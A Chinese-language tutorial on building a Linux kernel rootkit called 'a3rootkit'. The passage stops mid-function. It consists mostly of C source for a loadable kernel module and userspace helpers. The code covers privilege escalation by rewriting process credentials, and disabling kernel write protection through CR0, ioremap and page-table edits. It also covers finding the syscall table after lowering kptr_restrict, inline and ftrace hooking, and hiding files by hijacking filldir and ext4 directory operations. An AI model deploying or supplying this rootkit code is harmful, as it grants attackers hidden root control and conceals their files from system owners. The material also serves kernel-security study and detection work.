现代 Linux rootkit 技术实现(1)
字数 571 2025-08-25 22:58:56
Linux Rootkit 技术实现详解
0x00. 基础概念
Rootkit 即 "root kit",直译为 "根权限工具包",在现代语境下主要指作为驱动程序加载到操作系统内核中的恶意软件。Linux下的rootkit主要以可装载内核模块(LKM)的形式存在,作为内核的一部分直接以ring0权限运行。
基础LKM模块
以下是一个基础的LKM模块框架,后续技术将基于此进行扩展:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#define DEVICE_NAME "a3rootkit"
#define CLASS_NAME "a3rootkit"
static int major_num;
static struct class *module_class;
static struct device *module_device;
// 文件操作函数声明
static int a3_rootkit_open(struct inode *, struct file *);
static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);
static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);
static int a3_rootkit_release(struct inode *, struct file *);
static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);
// 文件操作结构体
static struct file_operations a3_rootkit_ops = {
.open = a3_rootkit_open,
.read = a3_rootkit_read,
.write = a3_rootkit_write,
.release = a3_rootkit_release,
.unlocked_ioctl = a3_rootkit_ioctl,
};
// 模块初始化函数
static int __init a3_rootkit_init(void)
{
int err_code;
printk(KERN_INFO"[a3_rootkit:] Module loaded. Start to register device...");
// 注册字符设备
major_num = register_chrdev(0, DEVICE_NAME, &a3_rootkit_ops);
if(major_num < 0) {
printk(KERN_INFO "[a3_rootkit:] Failed to register a major number.\n");
err_code = major_num;
goto err_major;
}
// 创建设备类
module_class = class_create(THIS_MODULE, CLASS_NAME);
if(IS_ERR(module_class)) {
printk(KERN_INFO "[a3_rootkit:] Failed to register class device!\n");
err_code = PTR_ERR(module_class);
goto err_class;
}
// 创建设备文件
module_device = device_create(module_class, NULL, MKDEV(major_num, 0),
NULL, DEVICE_NAME);
if(IS_ERR(module_device)) {
printk(KERN_INFO "[a3_rootkit:] Failed to create the device!\n");
err_code = PTR_ERR(module_device);
goto err_dev;
}
return 0;
err_dev:
class_destroy(module_class);
err_class:
unregister_chrdev(major_num, DEVICE_NAME);
err_major:
return err_code;
}
// 模块退出函数
static void __exit a3_rootkit_exit(void)
{
device_destroy(module_class, MKDEV(major_num, 0));
class_destroy(module_class);
unregister_chrdev(major_num, DEVICE_NAME);
printk(KERN_INFO "[a3_rootkit:] Module clean up. See you next time.");
}
// 文件操作函数实现
static int a3_rootkit_open(struct inode *inode, struct file *file) { return 0; }
static ssize_t a3_rootkit_read(struct file *file, char __user *buf,
size_t count, loff_t *start) { return count; }
static ssize_t a3_rootkit_write(struct file *file, const char __user *buf,
size_t count, loff_t *start) { return count; }
static int a3_rootkit_release(struct inode *inode, struct file *file) { return 0; }
static long a3_rootkit_ioctl(struct file *file, unsigned int cmd,
unsigned long arg) { return 0; }
module_init(a3_rootkit_init);
module_exit(a3_rootkit_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("arttnba3");
对应的Makefile:
obj-m += a3rootkit.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)
all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
0x01. 进程提权技术
1. 为当前进程提权
方法1:直接修改当前进程的cred
static ssize_t a3_rootkit_write(struct file *file, const char __user *buf,
size_t count, loff_t *start)
{
static char usr_data[0x100];
int sz = count > 0x100 ? 0x100 : count;
copy_from_user(usr_data, buf, sz);
if (!strncmp(usr_data, "root", 4)) {
struct cred *curr = current->cred;
curr->uid = curr->euid = curr->suid = curr->fsuid = KUIDT_INIT(0);
curr->gid = curr->egid = curr->sgid = curr->fsgid = KGIDT_INIT(0);
}
return sz;
}
方法2:复制init进程的cred
struct task_struct *a3_rootkit_find_root_task(void)
{
struct task_struct *tsk;
tsk = current;
while (tsk != tsk->parent) {
tsk = tsk->parent;
}
return tsk;
}
static ssize_t a3_rootkit_write(struct file *file, const char __user *buf,
size_t count, loff_t *start)
{
static char usr_data[0x100];
int sz = count > 0x100 ? 0x100 : count;
copy_from_user(usr_data, buf, sz);
if (!strncmp(usr_data, "root", 4)) {
commit_creds(prepare_kernel_cred(a3_rootkit_find_root_task()));
}
return sz;
}
2. 为指定进程提权
void a3_rootkit_get_root_privilege(int pid)
{
struct task_struct *p;
struct cred *c;
p = pid_task(find_vpid(pid), PIDTYPE_PID);
if (!p) {
return;
}
c = p->cred;
c->uid = c->euid = c->suid = c->fsuid = KUIDT_INIT(0);
c->gid = c->egid = c->sgid = c->fsgid = KGIDT_INIT(0);
}
测试程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#define ROOT_PRIVILEGE 0x1919
int main(int argc, char **argv, char **envp)
{
int dev_fd = open("/dev/a3rootkit", O_RDONLY);
if (argc < 2) {
return 0;
}
ioctl(dev_fd, ROOT_PRIVILEGE, atoi(argv[1]));
}
0x02. 函数劫持技术
修改只读代码/数据段的方法
方法1:利用ioremap完成物理内存直接改写
void a3_rootkit_write_read_only_mem_by_ioremap(void *dst, void *src, size_t len)
{
size_t dst_phys_page_addr, dst_offset;
size_t dst_ioremap_addr;
dst_phys_page_addr = page_to_pfn(virt_to_page(dst)) * PAGE_SIZE;
dst_offset = (size_t) dst & 0xfff;
dst_ioremap_addr = (size_t) ioremap(dst_phys_page_addr, len + 0x1000);
memcpy(dst_ioremap_addr + dst_offset, src, len);
iounmap(dst_ioremap_addr);
}
方法2:修改cr0寄存器
size_t a3_rootkit_read_cr0(void)
{
size_t cr0;
asm volatile (
"movq %%cr0, %%rax;"
"movq %%rax, %0; "
: "=r" (cr0) :: "%rax"
);
return cr0;
}
void a3_rootkit_write_cr0(size_t cr0)
{
asm volatile (
"movq %0, %%rax; "
"movq %%rax, %%cr0;"
:: "r" (cr0) : "%rax"
);
}
void a3_rootkit_disable_write_protect(void)
{
size_t cr0_val = a3_rootkit_read_cr0();
if ((cr0_val >> 16) & 1) {
cr0_val &= ~(1 << 16);
a3_rootkit_write_cr0(cr0_val);
}
}
void a3_rootkit_enable_write_protect(void)
{
size_t cr0_val = a3_rootkit_read_cr0();
if (!((cr0_val >> 16) & 1)) {
cr0_val |= (1 << 16);
a3_rootkit_write_cr0(cr0_val);
}
}
void a3_rootkit_write_read_only_mem_by_cr0(void *dst, void *src,size_t len)
{
size_t orig_cr0 = a3_rootkit_read_cr0();
a3_rootkit_disable_write_protect();
memcpy(dst, src, len);
if ((orig_cr0 >> 16) & 1) {
a3_rootkit_enable_write_protect();
}
}
方法3:直接修改内核页表项
#include <asm/pgtable_types.h>
void a3_rootkit_write_romem_by_pte_patch(void *dst, void *src, size_t len)
{
pte_t *dst_pte;
pte_t orig_pte_val;
unsigned int level;
dst_pte = lookup_address((unsigned long) dst, &level);
orig_pte_val.pte = dst_pte->pte;
dst_pte->pte |= _PAGE_RW;
memcpy(dst, src, len);
dst_pte->pte = orig_pte_val.pte;
}
1. 查找系统调用表
用户空间辅助程序:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#define USER_KALLSYMS 0x114
int main(int argc, char **argv, char **envp)
{
int dev_fd;
FILE *kallsyms_file, *dmesg_restrict_file, *kptr_restrict_file;
struct {
size_t kaddr;
char type;
char name[0x100];
} kinfo;
size_t kern_seek_data[4];
int orig_dmesg_restrict, orig_kptr_restrict;
int syscall_count = 0;
char dmesg_recover_cmd[0x100], kptr_recover_cmd[0x100];
/* backup and change dmesg and kptr restrict */
dmesg_restrict_file = fopen("/proc/sys/kernel/dmesg_restrict", "r");
kptr_restrict_file = fopen("/proc/sys/kernel/kptr_restrict", "r");
fscanf(dmesg_restrict_file, "%d", &orig_dmesg_restrict);
fscanf(kptr_restrict_file, "%d", &orig_kptr_restrict);
system("echo 0 > /proc/sys/kernel/dmesg_restrict");
system("echo 0 > /proc/sys/kernel/kptr_restrict");
/* read /proc/kallsyms */
kallsyms_file = fopen("/proc/kallsyms", "r");
while (syscall_count != 4) {
fscanf(kallsyms_file, "%lx %c %100s",
&kinfo.kaddr, &kinfo.type, &kinfo.name);
if (!strcmp("__x64_sys_read", kinfo.name)) {
kern_seek_data[0] = kinfo.kaddr;
syscall_count++;
} else if (!strcmp("__x64_sys_write", kinfo.name)) {
kern_seek_data[1] = kinfo.kaddr;
syscall_count++;
} else if (!strcmp("__x64_sys_open", kinfo.name)) {
kern_seek_data[2] = kinfo.kaddr;
syscall_count++;
} else if (!strcmp("__x64_sys_close", kinfo.name)) {
kern_seek_data[3] = kinfo.kaddr;
syscall_count++;
}
}
/* send data to kernel */
dev_fd = open("/dev/a3rootkit", O_RDWR);
printf("/dev/a3rootkit fd: %d\n", dev_fd);
ioctl(dev_fd, USER_KALLSYMS, kern_seek_data);
/* recover dmesg and kptr restrict */
snprintf(dmesg_recover_cmd, 0x100,
"echo %d > /proc/sys/kernel/dmesg_restrict", orig_dmesg_restrict);
snprintf(kptr_recover_cmd, 0x100,
"echo %d > /proc/sys/kernel/kptr_restrict", orig_kptr_restrict);
system(dmesg_recover_cmd);
system(kptr_recover_cmd);
return 0;
}
内核模块部分:
void a3_rootkit_find_syscall_table(void)
{
size_t *phys_mem = (size_t*) page_offset_base;
char *argv[] = { "/root/a3rootkit/kallsyms", NULL };
char *envp[] = { "HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
if (!get_syscall_table_data) {
panic("failed to read syscall table in userspace!");
}
for (size_t i = 0; 1; i++) {
if (phys_mem[i] == syscall_table_data[0]
&& phys_mem[i + 1] == syscall_table_data[1]
&& phys_mem[i + 2] == syscall_table_data[2]
&& phys_mem[i + 3] == syscall_table_data[3]) {
syscall_table = &phys_mem[i];
printk(KERN_INFO "[a3_rootkit:] found syscall_table at: %lx",
syscall_table);
break;
}
}
}
static long a3_rootkit_ioctl(struct file *file, unsigned int cmd,
unsigned long arg)
{
switch (cmd) {
case USER_KALLSYMS:
copy_from_user(syscall_table_data, arg, sizeof(syscall_table_data));
get_syscall_table_data = 1;
break;
// ...
}
return 0;
}
2. 函数表hook
通过劫持特定表中的函数指针完成hook,将在具体场景下展示。
3. Inline Hook
动态inline hook技术
#define HOOK_BUF_SZ 0x30
struct hook_info {
char hook_data[HOOK_BUF_SZ];
char orig_data[HOOK_BUF_SZ];
void (*hook_before) (size_t *args);
size_t (*orig_func) (size_t, size_t, size_t, size_t, size_t, size_t);
size_t (*hook_after) (size_t orig_ret, size_t *args);
};
struct hook_info temp_hook_info;
size_t a3_rootkit_evil_hook_fn_temp(size_t arg0, size_t arg1, size_t arg2,
size_t arg3, size_t arg4, size_t arg5)
{
size_t args[6], ret;
args[0] = arg0;
args[1] = arg1;
args[2] = arg2;
args[3] = arg3;
args[4] = arg4;
args[5] = arg5;
if (temp_hook_info.hook_before) {
temp_hook_info.hook_before(args);
}
a3_rootkit_write_read_only_mem_by_ioremap(temp_hook_info.orig_func,
temp_hook_info.orig_data,
HOOK_BUF_SZ);
ret = temp_hook_info.orig_func(args[0], args[1], args[2],
args[3], args[4], args[5]);
if (temp_hook_info.hook_after) {
ret = temp_hook_info.hook_after(ret, args);
}
a3_rootkit_write_read_only_mem_by_ioremap(temp_hook_info.orig_func,
temp_hook_info.hook_data,
HOOK_BUF_SZ);
return ret;
}
void a3_rootkit_text_hook(void *hook_dst, void *new_dst, struct hook_info *info)
{
size_t jmp_offset;
info->orig_func = hook_dst;
memcpy(&info->orig_data, info->orig_func, HOOK_BUF_SZ);
jmp_offset = (size_t) new_dst - (size_t) hook_dst - 12;
info->hook_data[0] = 0xE9;
*(size_t *) (&info->hook_data[1]) = jmp_offset;
a3_rootkit_write_read_only_mem_by_ioremap(info->orig_func, &info->hook_data,
HOOK_BUF_SZ);
}
4. ftrace hook
struct ftrace_ops* a3_rootkit_ftrace_hook_install(void *hook_dst,
ftrace_func_t new_dst)
{
struct ftrace_ops *hook_ops;
int err;
hook_ops = kmalloc(GFP_KERNEL, sizeof(*hook_ops));
hook_ops->func = new_dst;
hook_ops->flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(hook_ops, hook_dst, 0, 0);
if (err) {
printk(KERN_ERR "[a3_rootkit:] failed to set ftrace filter.");
goto failed;
}
err = register_ftrace_function(hook_ops);
if (err) {
printk(KERN_ERR "[a3_rootkit:] failed to register ftrace fn.");
goto failed;
}
return hook_ops;
failed:
kfree(hook_ops);
return NULL;
}
int a3_rootkit_ftrace_hook_remove(struct ftrace_ops *hook_ops, void *hook_dst)
{
int err;
err = unregister_ftrace_function(hook_ops);
if (err) {
printk(KERN_ERR "[a3_rootkit:] failed to unregister ftrace.");
goto out;
}
err = ftrace_set_filter_ip(hook_ops, hook_dst, 1, 0);
if (err) {
printk(KERN_ERR "[a3_rootkit:] failed to rmove ftrace point.");
goto out;
}
out:
return err;
}
示例hook函数:
__attribute__((naked)) void ret_fn(void)
{
asm volatile (" ret; ");
}
void test_hook_fn(unsigned long ip, unsigned long pip,
struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
size_t (*orig_commit_creds)(size_t) = \
(size_t(*)(size_t))((size_t) commit_creds + 9);
printk(KERN_ERR "[test hook] bbbbbbbbbbbbbbbbbbbbbbbbbbbb");
fregs->regs.ax = orig_commit_creds(fregs->regs.di);
fregs->regs.ip = ret_fn;
return ;
}
0x03. 文件隐藏技术
1. 劫持getdents系统调用核心函数
struct hook_info filldir_hook_info,filldir64_hook_info,compat_filldir_hook_info;
filldir_t filldir, filldir64, compat_filldir;
struct hide_file_info {
struct list_head list;
char *file_name;
};
struct list_head hide_file_list;
size_t a3_rootkit_evil_filldir(size_t arg0, size_t arg1, size_t arg2,
size_t arg3, size_t arg4, size_t arg5)
{
struct hide_file_info *info = NULL;
size_t args[6], ret;
args[0] = arg0;
args[1] = arg1;
args[2] = arg2;
args[3] = arg3;
args[4] = arg4;
args[5] = arg5;
a3_rootkit_write_read_only_mem_by_ioremap(filldir_hook_info.orig_func,
filldir_hook_info.orig_data,
HOOK_BUF_SZ);
list_for_each_entry(info, &hide_file_list, list) {
if (!strncmp(info->file_name, args[1], args[2])) {
ret = 1;
goto hide_out;
}
}
ret = filldir_hook_info.orig_func(args[0], args[1], args[2],
args[3], args[4], args[5]);
hide_out:
a3_rootkit_write_read_only_mem_by_ioremap(filldir_hook_info.orig_func,
filldir_hook_info.hook_data,
HOOK_BUF_SZ);
return ret;
}
void a3_rootkit_hide_file_subsystem_init(void)
{
INIT_LIST_HEAD(&hide_file_list);
a3_rootkit_text_hook(filldir, a3_rootkit_evil_filldir,
&filldir_hook_info);
a3_rootkit_text_hook(filldir64, a3_rootkit_evil_filldir64,
&filldir64_hook_info);
a3_rootkit_text_hook(compat_filldir, a3_rootkit_evil_compat_filldir,
&compat_filldir_hook_info);
}
void a3_rootkit_add_new_hide_file(const char *file_name)
{
struct hide_file_info *info;
info = kmalloc(sizeof(*info), GFP_KERNEL);
info->file_name = kmalloc(strlen(file_name) + 1, GFP_KERNEL);
strcpy(info->file_name, file_name);
list_add(&info->list, &hide_file_list);
}
2. 劫持对应文件系统的VFS函数表
struct hook_info filldir_hook_info,filldir64_hook_info,compat_filldir_hook_info;
filldir_t filldir, filldir64, compat_filldir;
struct file_operations *ext4_dir_operations;
struct hide_file_info {
struct list_head list;
char *file_name;
};
struct list_head hide_file_list;
int a3_rootkit_check_file_to_hide(const char *filename, int namlen)
{
struct hide_file_info *info = NULL;
list_for_each_entry(info, &hide_file_list, list) {
if (!strncmp(info->file_name, filename, namlen)) {
return 1;
}
}
return 0;
}
static int a3_rootkit_fake_filldir(struct dir_context *ctx, const char *name,
int namlen, loff_t offset, u64 ino,
unsigned int d_type)
{
if (a3_rootkit_check_file_to_hide(name, namlen)) {
return 1;
}
return filldir(ctx, name, namlen, offset, ino, d_type);
}
static int a3_rootkit_fake_filldir64(struct dir_context *ctx, const char *name,
int namlen, loff_t offset, u64 ino,
unsigned int d_type)
{
if (a3_rootkit_check_file_to_hide(name, namlen)) {
return 1;
}
return filldir64(ctx, name, namlen, offset, ino, d_type);
}
static int a3_rootkit_fake_compat_filldir(struct dir_context *ctx, const char *name,
int namlen, loff_t offset, u64 ino,
unsigned int d_type)
{
if (a3_rootkit_check_file_to_hide(name, namlen)) {
return 1;
}
return compat_filldir(ctx, name, namlen, offset, ino, d_type);
}
int (*orig_ext4_iterate_shared) (struct file *, struct dir_context *);
static int a3_rootkit_fake_ext4_iterate_shared(struct file *file,
struct dir_context *ctx)
{
if (ctx->actor == filldir) {
ctx->actor = (void*) a3_rootkit_fake_filldir;
} else if (ctx->actor == filldir64) {
ctx->actor = (void*) a3_rootkit_fake_filldir64;
} else if (ctx->actor == compat_filldir) {
ctx->actor = (void*) a3_rootkit_fake_compat_filldir;
} else {
panic("Unexpected ctx->actor!");
}
return orig_ext4_iterate_shared(file, ctx);
}
void a3_rootkit_vfs_hide_file_subsystem_init(void)
{
struct file *file;
INIT_LIST_HEAD(&hide_file_list);
a3_rootkit_disable_write_protect();
file = filp_open("/", O_RDONLY, 0);
if (IS_ERR(file)) {
goto out;
}
ext4_dir_operations = file->f_op;
orig_ext4_iterate_shared = ext4_dir_operations->iterate_shared;
ext4_dir_operations->iterate_shared = a3_rootkit_fake_ext4_iterate_shared;
filp_close(file, NULL);
out:
a3_rootkit_enable_write_protect();
}
3. 篡改VFS结构(针对仅存在于内存中的文件系统)
static void a3_rootkit_ramfs_hide_file(const char * filename)
{